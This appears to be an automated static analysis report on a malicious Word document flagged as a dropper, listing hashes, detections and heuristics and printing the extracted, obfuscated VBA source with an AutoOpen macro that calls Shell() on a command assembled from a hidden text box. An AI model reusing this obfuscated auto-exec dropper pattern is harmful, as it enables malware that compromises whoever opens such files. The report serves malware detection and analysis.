Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 877bfaeafabb1bed…

MALICIOUS

Office (OLE)

133.6 KB Created: 2018-12-20 19:53:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: f1552dee475785a6fb942b1d7152c9a9 SHA-1: 9978f6dd52cc4bad412b134e4da8b4b2006512f0 SHA-256: 877bfaeafabb1bedc7a0f4dce28722349f8c11eefa1c0c82db31321e149176bc
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing VBA macros. The 'autoopen' macro triggers the execution of the Shell() function, which is a critical finding indicating the execution of arbitrary commands. This strongly suggests the document is a dropper designed to download and execute a secondary payload.

Heuristics 8

  • ClamAV: Doc.Dropper.Valyria-6791454-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6791454-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
          End Select
U3315846 = Array(s116382, r4643522, f7298718, Interaction.Shell(CVar("" + P4637368 + H82902 + l726652 + b241825 + Z27355739.TextBox1) + j90020692 + X720481, 69 - 69), f8349175)
   Select Case s5790952525084215539535
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
h628178176
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4454 bytes
SHA-256: 27c5a13981a1ab00a74ff92d1a0b573f474a13fb328e547aa13ed73bd7ab1314
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Z27355739"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
h628178176
End Sub

Attribute VB_Name = "j42971819459"
Function h628178176()
On Error Resume Next
   Select Case K384992240605800827765185
         Case 144751343
         w908 = N850
            o363 = CInt(I8280 / CByte(Y732))
            V482 = w5734
         Case 141534471
         I883 = s0924
         P4675 = Y2770
           S8829 = CInt(s1486 / CByte(B336))
         Case 261107622
         P417 = r430
         o2863 = S6282
      End Select
   Select Case m63875215254000255558213
         Case 135180174
         A638 = D4212
            j344 = CInt(K020 / CByte(B700))
            k2265 = U556
         Case 249734248
         i5180 = i8222
         z2250 = v4894
           D575 = CInt(o095 / CByte(T806))
         Case 44695207
         N3661 = j4006
         h408 = q752
      End Select
U3315846 = Array(s116382, r4643522, f7298718, Interaction.Shell(CVar("" + P4637368 + H82902 + l726652 + b241825 + Z27355739.TextBox1) + j90020692 + X720481, 69 - 69), f8349175)
   Select Case s5790952525084215539535
         Case 224455089
         z673 = i375
            K578 = CInt(N568 / CByte(i9824))
            z5447 = z603
         Case 305731581
         K6244 = z7982
         v7887 = s594
           p3282 = CInt(E994 / CByte(T3736))
         Case 262432759
         n134 = V0420
         V5199 = B239
      End Select
   Select Case m673943567364264468
         Case 241816469
         a2623 = b1159
            E7195 = CInt(t0850 / CByte(X391))
            A130 = L4126
         Case 192144770
         Y5257 = b650
         s8112 = i005
           E5696 = CInt(j833 / CByte(N309))
         Case 283090472
         z4682 = X352
         p577 = f479
      End Select
End Function


Attribute VB_Name = "S3436146121455"

Attribute VB_Name = "q932149564434"

Attribute VB_Name = "i4507179262"

Attribute VB_Name = "w550655097"

Attribute VB_Name = "Q98282368610597"

Attribute VB_Name = "b91661048"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Z78713307"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "w8655557939"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "v9847244"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "P9445643591"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "E175011070"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "I694602643722"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

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